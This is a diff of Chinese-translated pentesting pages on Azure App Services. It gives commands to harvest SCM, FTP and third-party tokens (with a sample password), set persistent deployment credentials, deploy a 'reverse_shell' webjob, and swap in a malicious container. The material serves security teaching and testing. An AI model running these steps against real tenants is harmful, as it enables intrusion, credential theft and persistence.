diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index e229a3543..bb4a5534d 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,31 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -## 在 Linux 中安装 PowerShell +## 在Linux中安装PowerShell > [!TIP] -> 在 Linux 中，您需要安装 PowerShell Core： -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # 更新仓库 -> sudo apt-get update -> sudo add-apt-repository universe -> -> # 安装并启动 PowerShell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +> 在Linux中，您需要安装PowerShell Core： +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common -## 在 MacOS 中安装 PowerShell +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` +## 在 MacOS 上安装 PowerShell 来自 [**文档**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) 的说明： @@ -34,7 +32,7 @@ ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` -2. 安装最新的稳定版本的 PowerShell： +2. 安装最新的稳定版 PowerShell： ```sh brew install powershell/tap/powershell ``` @@ -93,7 +91,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ### Az PowerShell -Azure PowerShell 是一个模块，包含用于直接从 PowerShell 命令行管理 Azure 资源的 cmdlets。 +Azure PowerShell 是一个模块，包含用于直接从 PowerShell 命令行管理 Azure 资源的 cmdlet。 请访问此链接以获取 [**安装说明**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell)。 @@ -123,7 +121,7 @@ Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Azure Active Directory (AD) 模块，现在 **已弃用**，是 Azure PowerShell 的一部分，用于管理 Azure AD 资源。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。 +Azure Active Directory (AD) 模块，现在 **已弃用**，是用于管理 Azure AD 资源的 Azure PowerShell 的一部分。它提供了用于管理用户、组和 Entra ID 中的应用程序注册的 cmdlet。 > [!TIP] > 这被 Microsoft Graph PowerShell 替代 diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 391fbb6dc..f2621bde6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,22 +4,22 @@ ## App Services -有关 Azure App 服务的更多信息，请查看： +有关 Azure 应用服务的更多信息，请查看： {{#ref}} ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -这些权限允许调用以下命令以获取 **SSH shell** 进入 web 应用 +这些权限允许在 web 应用程序内部获取 **SSH shell**。它们还允许 **调试** 应用程序。 -- 直接选项： +- **单命令 SSH**： ```bash # Direct option az webapp ssh --name --resource-group ``` -- 创建隧道，然后连接到 SSH： +- **创建隧道然后连接到SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **调试应用程序**： +1. 在 VScode 中安装 Azure 扩展。 +2. 使用 Azure 账户登录扩展。 +3. 列出订阅中的所有应用服务。 +4. 选择要调试的应用服务，右键单击并选择“开始调试”。 +5. 如果应用未启用调试，扩展将尝试启用它，但您的账户需要权限 `Microsoft.Web/sites/config/write` 才能这样做。 + +### 获取 SCM 凭据和启用基本身份验证 + +要获取 SCM 凭据，您可以使用以下 **命令和权限**： + +- 权限 **`Microsoft.Web/sites/publishxml/action`** 允许调用： +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +注意**用户名始终相同**（FTP 除外，它在开头添加了应用程序的名称），但**密码对于所有用户都是相同的**。 + +此外，**SCM URL 是 `.scm.azurewebsites.net`**。 + +- 权限 **`Microsoft.Web/sites/config/list/action`** 允许调用： +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +注意**凭据与之前的命令相同**。 + +- 另一个选项是**设置您自己的凭据**并使用它们： +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +然后，您可以使用这些凭据来**访问SCM和FTP平台**。这也是保持持久性的好方法。 + +请记住，要从**网页访问SCM平台，您需要访问`/BasicAuth`**。 + +> [!WARNING] +> 请注意，每个用户都可以通过调用之前的命令来配置自己的凭据，但如果用户没有足够的权限访问SCM或FTP，则凭据将无效。 + +- 如果您看到这些凭据是**已编辑的**，那是因为您**需要启用SCM基本身份验证选项**，为此您需要第二个权限（`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`） +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### 使用 SCM 凭据发布代码 + +仅凭有效的 SCM 凭据，就可以 **发布代码** 到应用服务。这可以通过以下命令完成。 + +对于这个 Python 示例，您可以从 https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart 下载仓库，进行您希望的任何 **更改**，然后 **运行：`zip -r app.zip .`** 进行压缩。 + +然后，您可以使用以下命令 **发布代码**： +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | SCM 凭据 + +提到的 Azure 权限允许执行几个有趣的操作，这些操作也可以使用 SCM 凭据执行： + +- 读取 **Webjobs** 日志： +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- 阅读 **Webjobs** 源代码： +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- 创建 **持续 Webjob**： +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +此权限允许列出 App 服务的 **connection strings** 和 **appsettings**，这些可能包含敏感信息，如数据库凭据。 +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +这些权限允许**将托管身份分配**给应用服务，因此如果应用服务之前被攻陷，这将允许攻击者将新的托管身份分配给应用服务并**提升权限**。 +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### 读取配置的第三方凭据 + +运行以下命令可以**读取当前账户中配置的第三方凭据**。请注意，如果例如某些Github凭据配置在不同的用户中，您将无法从其他用户访问该令牌。 +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。 + +以下是一些检查令牌的命令示例： +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### 从源更新应用代码 + +- 如果配置的源是第三方提供商，如 Github、BitBucket 或 Azure Repository，您可以通过破坏存储库中的源代码来**更新应用的代码**。 +- 如果应用使用**远程 git 存储库**（带有用户名和密码）进行配置，可以通过以下方式获取**URL 和基本身份验证凭据**以克隆和推送更改： +- 使用权限 **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- 使用权限 **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- 如果应用配置为使用**本地 git 存储库**，可以**克隆存储库**并**推送更改**： +- 使用权限 **`Microsoft.Web/sites/sourcecontrols/read`**: 您可以通过 `az webapp deployment source show --name --resource-group ` 获取 git 存储库的 URL，但它将与应用的 SCM URL 相同，路径为 `/.git`（例如 `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`）。 +- 要获取 SCM 凭据，您需要权限： +- **`Microsoft.Web/sites/publishxml/action`**: 然后运行 `az webapp deployment list-publishing-profiles --resource-group -n `。 +- **`Microsoft.Web/sites/config/list/action`**: 然后运行 `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> 请注意，拥有权限 `Microsoft.Web/sites/config/list/action` 和 SCM 凭据始终可以部署到 webapp（即使它被配置为使用第三方提供商），如前面部分所述。 + +> [!WARNING] +> 请注意，拥有以下权限也**可以执行任意容器**，即使 webapp 的配置不同。 + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +这是允许**修改 webapp 使用的容器**的一组权限。攻击者可以利用它使 webapp 执行恶意容器。 +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 8bcfbc275..441b76e84 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -1,48 +1,98 @@ -# Az - 应用服务 +# Az - App Services {{#include ../../../banners/hacktricks-training.md}} -## 应用服务基本信息 +## App Service Basic Information -Azure 应用服务使开发人员能够 **无缝构建、部署和扩展 Web 应用程序、移动应用后端和 API**。它支持多种编程语言，并与各种 Azure 工具和服务集成，以增强功能和管理。 +Azure App Services 使开发人员能够 **构建、部署和无缝扩展 Web 应用程序、移动应用后端和 API**。它支持多种编程语言，并与各种 Azure 工具和服务集成，以增强功能和管理。 -每个应用程序都在沙箱内运行，但隔离取决于应用服务计划 +每个应用程序都在沙箱内运行，但隔离取决于 App Service 计划 -- 免费和共享层的应用程序运行在共享虚拟机上 -- 标准和高级层的应用程序运行在专用虚拟机上 +- 免费和共享层的应用程序在共享虚拟机上运行 +- 标准和高级层的应用程序在专用虚拟机上运行 > [!WARNING] -> 请注意，**这些隔离** **并不能防止** 其他常见的 **Web 漏洞**（例如文件上传或注入）。如果使用了 **管理身份**，则可能能够 **提升权限**。 +> 请注意，**没有**这些隔离 **防止** 其他常见的 **Web 漏洞**（例如文件上传或注入）。如果使用 **管理身份**，则可能能够 **提升权限**。 -### Azure 函数应用 +应用程序有一些有趣的配置： -基本上，**Azure 函数应用是 Azure 应用服务** 在 Web 中的一个子集，如果您访问 Web 控制台并列出所有应用服务，或在 az cli 中执行 `az webapp list`，您将能够 **看到函数应用也在此列出**。 +- **始终开启**：确保应用程序始终运行。如果未启用，应用程序将在 20 分钟不活动后停止运行，并在收到请求时重新启动。 +- 如果您有需要持续运行的 Web 作业，这是必需的，因为如果应用程序停止，Web 作业也会停止。 +- **SSH**：如果启用，具有足够权限的用户可以使用 SSH 连接到应用程序。 +- **调试**：如果启用，具有足够权限的用户可以调试应用程序。然而，这会在每 48 小时自动禁用。 +- **Web 应用 + 数据库**：Web 控制台允许创建带有数据库的应用程序。在这种情况下，可以选择要使用的数据库（SQLAzure、PostgreSQL、MySQL、MongoDB），并且还允许您创建 Azure Cache for Redis。 +- 包含数据库和 Redis 凭据的 URL 将存储在 **appsettings** 中。 +- **容器**：可以通过指示容器的 URL 和访问凭据将容器部署到 App Service。 -实际上，一些与 **安全相关的功能** 应用服务使用（az cli 中的 `webapp`），**也被函数应用使用**。 +## Basic Authentication -## 基本身份验证 - -在创建 Web 应用程序（通常也是 Azure 函数）时，可以指示是否希望启用基本身份验证。这基本上 **为应用程序启用 SCM 和 FTP**，因此可以使用这些技术部署应用程序。\ +在创建 Web 应用程序（通常也是 Azure 函数）时，可以指示是否希望启用基本身份验证。这基本上 **启用 SCM 和 FTP** 以便可以使用这些技术部署应用程序。\ 此外，为了连接到它们，Azure 提供了一个 **API，允许获取用户名、密码和 URL** 以连接到 SCM 和 FTP 服务器。 -- 身份验证：az webapp auth show --name lol --resource-group lol_group +可以使用 Web 浏览器连接到 SCM，地址为 `https:///BasicAuth`，并检查其中的所有文件和部署。 -SSH +### Kudu -始终开启 +Kudu 是一个 **用于 Azure App Service 和 Function Apps 的部署引擎和管理平台**，提供基于 Git 的部署、远程调试和文件管理功能。可以通过 Web 应用的 SCM URL 访问它。 -调试 +请注意，App Services 和 Function Apps 使用的 Kudu 版本不同，Function Apps 的版本要有限得多。 -### 枚举 +在 Kudu 中可以找到一些有趣的端点： +- `/DebugConsole`：一个控制台，允许您在 Kudu 运行的环境中执行命令。 +- 请注意，此环境 **无法访问** 元数据服务以获取令牌。 +- `/webssh/host`：一个基于 Web 的 SSH 客户端，允许您连接到应用程序运行的容器内。 +- 此环境 **可以访问** 元数据服务，以便从分配的管理身份中获取令牌。 +- `/Env`：获取有关系统、应用设置、环境变量、连接字符串和 HTTP 头的信息。 +- `/wwwroot/`：Web 应用的根目录。您可以从这里下载所有文件。 + +## Sources + +App Services 默认允许将代码作为 zip 文件上传，但也允许连接到第三方服务并从那里获取代码。 + +- 当前支持的第三方源是 **Github** 和 **Bitbucket**。 +- 您可以通过运行 `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` 获取身份验证令牌。 +- Azure 默认会设置一个 **Github Action**，每次代码更新时将代码部署到 App Service。 +- 还可以指示一个 **远程 git 仓库**（带用户名和密码）以从那里获取代码。 +- 您可以通过运行 `az webapp deployment source show --name --resource-group ` 或 `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` 获取远程仓库的凭据。 +- 还可以使用 **Azure Repository**。 +- 还可以配置 **本地 git 仓库**。 +- 您可以通过 `az webapp deployment source show --name --resource-group ` 获取 git 仓库的 URL，这将是应用程序的 SCM URL。 +- 要克隆它，您将需要 SCM 凭据，可以通过 `az webapp deployment list-publishing-profiles --resource-group -n ` 获取。 + +## Webjobs + +Azure WebJobs 是 **在 Azure App Service 环境中运行的后台任务**。它们允许开发人员在 Web 应用程序旁边执行脚本或程序，使处理异步或耗时操作（如文件处理、数据处理或计划任务）变得更容易。 +Web 作业有 2 种类型： +- **持续**：无限期循环运行，并在创建后立即触发。它非常适合需要持续处理的任务。然而，如果应用程序因未启用始终开启而停止运行，并且在过去 20 分钟内没有收到请求，Web 作业也会停止。 +- **触发**：按需或基于计划运行。它最适合定期任务，例如批量数据更新或维护例程。 + +从攻击者的角度来看，Web 作业非常有趣，因为它们可以用来 **在环境中执行代码** 并 **提升权限** 到附加的管理身份。 + +此外，检查 Web 作业生成的 **日志** 总是很有趣，因为它们可能包含 **敏感信息**。 + +### Slots + +Azure App Service Slots 用于 **将应用程序的不同版本部署到同一 App Service**。这允许开发人员在将新功能或更改部署到生产环境之前，在单独的环境中进行测试。 + +此外，可以将 **一定比例的流量** 路由到特定的插槽，这对于 **A/B 测试** 和后门目的非常有用。 + +### Azure Function Apps + +基本上 **Azure Function 应用是 Azure App Service 的一个子集**，如果您访问 Web 控制台并列出所有应用服务或在 az cli 中执行 `az webapp list`，您将能够 **看到 Function 应用也在此列出**。 + +实际上，App Services 使用的一些 **与安全相关的功能**（在 az cli 中为 `webapp`） **也被 Function 应用使用**。 + +### Enumeration {{#tabs }} {{#tab name="az" }} ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +101,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +131,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -171,6 +205,9 @@ echo "Function App Name: $appServiceName" fi done ``` +{{#endtab }} +{{#endtabs }} + #### 获取凭据并访问 webapp 代码 ```bash # Get connection strings that could contain credentials (with DBs for example) @@ -193,6 +230,40 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## 生成 Web 应用的示例 + +### 从本地使用 Python + +本教程基于 [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) 的内容。 +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +登录到 SCM 门户或通过 FTP 登录，可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`，该文件包含 webapp 的代码。 + +> [!TIP] +> 仅通过 FTP 连接并修改文件 `output.tar.gz` 并不足以更改 webapp 执行的代码。 + +**攻击者可以下载此文件，修改它，然后再次上传以在 webapp 中执行任意代码。** + +### 来自 Github 的 Python + +本教程基于之前的教程，但使用 Github 存储库。 + +1. 在您的 Github 账户中分叉存储库 msdocs-python-flask-webapp-quickstart。 +2. 在 Azure 中创建一个新的 Python Web 应用。 +3. 在 `Deployment Center` 中更改源，使用 Github 登录，选择分叉的存储库并点击 `Save`。 + +与之前的情况一样，登录到 SCM 门户或通过 FTP 登录，可以在 `/wwwroot` 中看到压缩文件 `output.tar.gz`，该文件包含 webapp 的代码。 + +> [!TIP] +> 仅通过 FTP 连接并修改文件 `output.tar.gz` 并重新触发部署并不足以更改 webapp 执行的代码。 + + ## 参考 - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)